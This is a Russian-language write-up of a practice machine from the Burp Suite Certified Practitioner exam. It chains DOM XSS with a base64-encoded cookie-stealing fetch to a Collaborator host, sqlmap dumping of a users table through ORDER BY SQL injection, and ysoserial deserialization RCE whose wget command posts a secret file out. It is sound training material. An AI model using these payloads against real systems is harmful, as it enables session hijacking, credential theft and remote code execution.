July 19, 2023

BSCP step Two

Machine1.

Этап 1 — Получение доступа к учётной записи пользователя с низким уровнем привилегий.

На тестовом экзамене первый этап включает в себя реализацию XSS и захват сеанса обычного пользователя. Подбираю полезную нагрузку.

Воспользуюсь DOM Invader чтобы определить точку вхождения и определить вектор атаки.

DXSS via JSON into EVAL

Функциональность в приложении тестового экзамена выполняет поиск, а DOM Invader определяет проблемное место в функции eval(). Результаты поиска помещаются в формат JSON.

 "-prompt(1)-" and "-alert(1)-"
Тестирую экранирование данных JSON и внедряю тестовую нагрузку "-prompt(1)-" в содержимое JSON.
Пытаюсь получить значение собственной сессионной cookie с помощью нагрузки"-alert(document.cookie)-", и возвращается сообщение о фильтрации с указанием "Potentially dangerous search term".

WAF предотвращает опасные фильтры и теги. Обойти фильтр WAF можно с помощью глобальных переменных JavaScript.

"-alert(window["document"]["cookie"])-"
"-window["alert"](window["document"]["cookie"])-"
"-self["alert"](self["document"]["cookie"])-"

Требуется подобрать полезную нагрузку чтобы украсть сессионный идентификатор обычного пользователя. Так как валидация не позволяет использовать document.cookie, попробую обойти её с помощью данной полезной нагрузки:

"-alert(window["document"]["cookie"])-"
Далее подбираю основную нагрузку для кражи cookie перед ее кодированием в Base64. Обратите внимание на кавычки.
fetch(`https://COLLAB/?jsonc=` + window["document"]["cookie"])
Затем кодирую нагрузку с использованием Base64 encoded для кражи cookie.
Использую eval(atob()) чтобы обойти фильтрацию и получить сессионный идентификатор. Использую нагрузку на собственную сессионную cookie в функции поиска.
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vbzJyc2o4YmxiZTg2dzRjMGsxNG96YWZnMjc4endya2cub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

Разберемся как это работает:

  • Метод eval() выполняет команду из аргумента.
  • Методы atob() и btoa() используются для кодирования и декодирования строк в формате base64.

Если метод eval() заблокирован, то можно использовать альтернативы:

  • setTimeout("code")
  • setInterval("code)
  • setImmediate("code")
  • Function("code")()
Полезная нагрузка работает и ответ прилетает, иду на exploit server и отправляю эксплойт пользователю.
В итоге получаю сессию обычного пользователя, дальше я воспользовался Cookie Manager чтобы сменить cookie.

Этап 2 — Повышение привилегий до уровня администратора.

Воспользуюсь советом из своей предыдущей статьи и обращаю внимание на новую функциональность которая стала доступна от имени обычного пользователя. В данном случае появилась возможность воспользоваться Advanced search.

Вспоминаю таблицу уязвимостей которые могут возникнуть на втором этапе. Первое что приходит в голову - SQL Injection. Обнаружена она в параметре OrganizeBy.

Добавив кавычку вызывается ошибка и тем самым становится понятно, что здесь SQLi. Попробую самостоятельно подобрать полезную нагрузку для определения базы данных.

Полезная нагрузка и стабильный SQL запрос выглядит следующим образом -

(case when (ASCII(substring(version(),1,1))=103) then author else title end);

В данном случае бд - Postgresql.

Прочитать значение version() можно с помощью Burp Intruder.

Так как sqli возникает при сортировке постов на странице, воспользуюсь Grep Extract который находится в настройках Intruder. Указываю ему место на странице которое меняется при выполнении запроса.

После окончания атаки, можно заметить разницу в положении постов в ответах от сервера. Таким образом можно собрать значение version() и перевести его из ASCII

Переведя данный код ASCII получаю значение - PostgreSQL 12.15 (Ubunntu...)

Для постэксплуатации буду использовать sqlmap.
SQLMAP --dbs получаю список баз данных.

-p 'sort-by' -batch --dbms postgresql --technique E --level 5 --dbs

Использую SQLMAP для дампа таблицы public базы данных.

-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public --tables

Продолжаю использовать SQLMAP для получения users.

-p 'sort-by' -batch --dbms postgresql --technique E --level 5 -D public -T users --dump

В итоге получены учетные данные администратора.

Этап 3 — Чтение файла /home/carlos/secret

На данном этапе я воспользовался ещё одним советом из предыдущей статьи - не зацикливаться и обращать внимание на всё новое, что появляется в приложении. В данном случае единственное что обновилось в приложение это:

Появился новый параметр в cookie - сериализованный объект.

Подробнее в данной лабораторной

Burp Deserialization Scanner

Перехватываю страницу панели администратора и замечаю сериализованный объект cookie с именем admin-prefs.
Использую следующую полезную нагрузку в Deserialization Scanner для эксплуатации команды ysoserial в Java jar, это позволит получить удаленное выполнение кода (RCE) при десериализации нагрузки на целевой системе.
CommonsCollections6 'wget http://Collaborator.net --post-file=/home/carlos/secret'

У меня возникли проблемы с настройкой, так как для работы ysoserial в bash-терминале требуется старая версия Java. Данная проблема решилась с помощью скачивания jdk8 и корректным указанием путей к java и ysoserial.

В итоге получаю флаг и заканчиваю сдачу первой машины тестовой сертификации.